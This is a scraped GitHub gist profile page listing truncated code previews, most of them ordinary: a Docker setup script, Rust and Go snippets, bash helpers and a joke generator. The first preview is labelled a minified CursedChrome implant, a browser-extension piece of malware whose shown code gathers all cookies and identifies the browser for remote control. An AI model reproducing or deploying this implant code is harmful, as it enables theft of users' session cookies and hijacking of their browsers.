Skip to content

Instantly share code, notes, and snippets.

View LivingInSyn's full-sized avatar

Jeremy Mill LivingInSyn

View GitHub Profile
@LivingInSyn
LivingInSyn / mini_cc.js
Created October 7, 2023 13:03
Minified CursedChrome implant
var websocket=!1,last_live_connection_timestamp=get_unix_timestamp(),placeholder_secret_token=get_secure_random_token(64),redirect_table={};const REQUEST_HEADER_BLACKLIST=["cookie"],RPC_CALL_TABLE={HTTP_REQUEST:perform_http_request,PONG(){},AUTH:authenticate,GET_COOKIES:get_cookies};async function get_cookies(e){return chrome.cookies?getallcookies({}):[]}function getallcookies(e){return new Promise(function(t,r){try{chrome.cookies.getAll(e,function(e){t(e)})}catch(a){r(a)}})}async function authenticate(e){var t=localStorage.getItem("browser_id");return null===t&&(t=uuidv4(),localStorage.setItem("browser_id",t)),{browser_id:t,user_agent:navigator.userAgent,timestamp:get_unix_timestamp()}}function get_secure_random_token(e){let t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",r=new Uint8Array(e);window.crypto.getRandomValues(r),r=r.map(e=>t.charCodeAt(e%t.length));let a=String.fromCharCode.apply(null,r);return a}function uuidv4(){return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,e=
#!/bin/bash
# install docker
sudo apt-get update
sudo apt install -yq ca-certificates curl gnupg lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt update
apt install -yq docker-ce docker-ce-cli containerd.io
from PIL import Image
import imagehash
import numpy as np
AVAL = 10
class DhashCollisionGen:
@staticmethod
def generate_collision(image, hash_size=8):
# get the dhash of the image
(window.webpackJsonpunifiNetworkUi=window.webpackJsonpunifiNetworkUi||[]).push([[21],{1946:function(e,t,a){"use strict";a.d(t,"c",(function(){return s})),a.d(t,"b",(function(){return m})),a.d(t,"a",(function(){return d})),a.d(t,"e",(function(){return p})),a.d(t,"f",(function(){return h})),a.d(t,"d",(function(){return g}));var n=a(39),i=a(1205),c=a(123);const r=(e,t)=>Object(c.i)(Object(n.startOfMonth)(Object(n.addMonths)(e,1)),t),l=(e,t)=>Object(n.differenceInMinutes)(e,t)/5,o=(e,t)=>Object(n.subMinutes)(e,5*t);function s(e,t,a,i){function s(t,i,r,l){const o=Math.ceil(i(t,e))||0,s=o>8,m=o>32?(o+1)/32:1;return Array(Math.min(32,o+1)).fill(t).map((e,t)=>{const i=r(e,t*m),o=Object(c.a)(i,a);return{value:i.getTime(),label:s&&t%2==1?null:Object(n.format)(o,l)}}).reverse()}if(Object(n.differenceInYears)(t,e)>1)return s(r(t,a),n.differenceInMonths,n.subMonths,"MMM YYYY");if(Object(n.differenceInMonths)(t,e)>2)return s(r(t,a),n.differenceInMonths,n.subMonths,"MMM");if(Object(n.differenceInDays)(t,e)>10){const e=Date.
mkc() {
mkdir $1
cd $1
}
myip() {
curl 'https://api.ipify.org?format=json'
}
myip6() {
curl 'https://api6.ipify.org?format=json'
}
from random import choice
sw_strings = ["In this Star Wars movie, our heros return to take on the first order and new villian",
["Kyle Ren", "Malloc", "Darth Sebelius", "Theranos", "Lord Juul"],
"with help from their new friend",
["Kim SpaceMeasurer.", "Teen Yoda.", "Dab Tweetdeck.", "Yaz Progestin.", "TI-83."],
"Rey builds a new lightsaber with a",
["beige", "ochre", "mauve", "aquamarine", "taupe"],
"blade and they head out to confront the First Order's new superweapon, the",
["Sun Obliterator", "Moonsquisher", "World Eater", "Planet Zester", "Superconducting Supercollider"],
package main
import (
"crypto/tls"
"crypto/x509"
"errors"
"io/ioutil"
"log"
"time"
)
@LivingInSyn
LivingInSyn / nom_date_parser.rs
Last active June 12, 2018 15:07
a nom parser for a programming challenge to parse dates in '1st of July 1983' form
#[macro_use]
extern crate nom;
extern crate chrono;
use nom::{digit};
use std::str::FromStr;
use chrono::{Utc, LocalResult, TimeZone};
#[derive(Debug,PartialEq)]
struct ParsedDate {
#include "stdafx.h"
#include "TranslateOutput.h"
typedef SomeStruct(CALLBACK* GetSomeStructType)();
int main()
{
HINSTANCE dllHandle = NULL;
dllHandle = LoadLibrary(L"translator_test.dll");
@LivingInSyn
LivingInSyn / lib.rs
Last active December 11, 2020 03:17
//using statements
use std::os::raw::c_char;
use std::ffi::CString;
//static var
static mut STRING_POINTER: *mut c_char = 0 as *mut c_char;
///structs
#[repr(C)]
pub struct SampleStruct {
pub field_one: i16,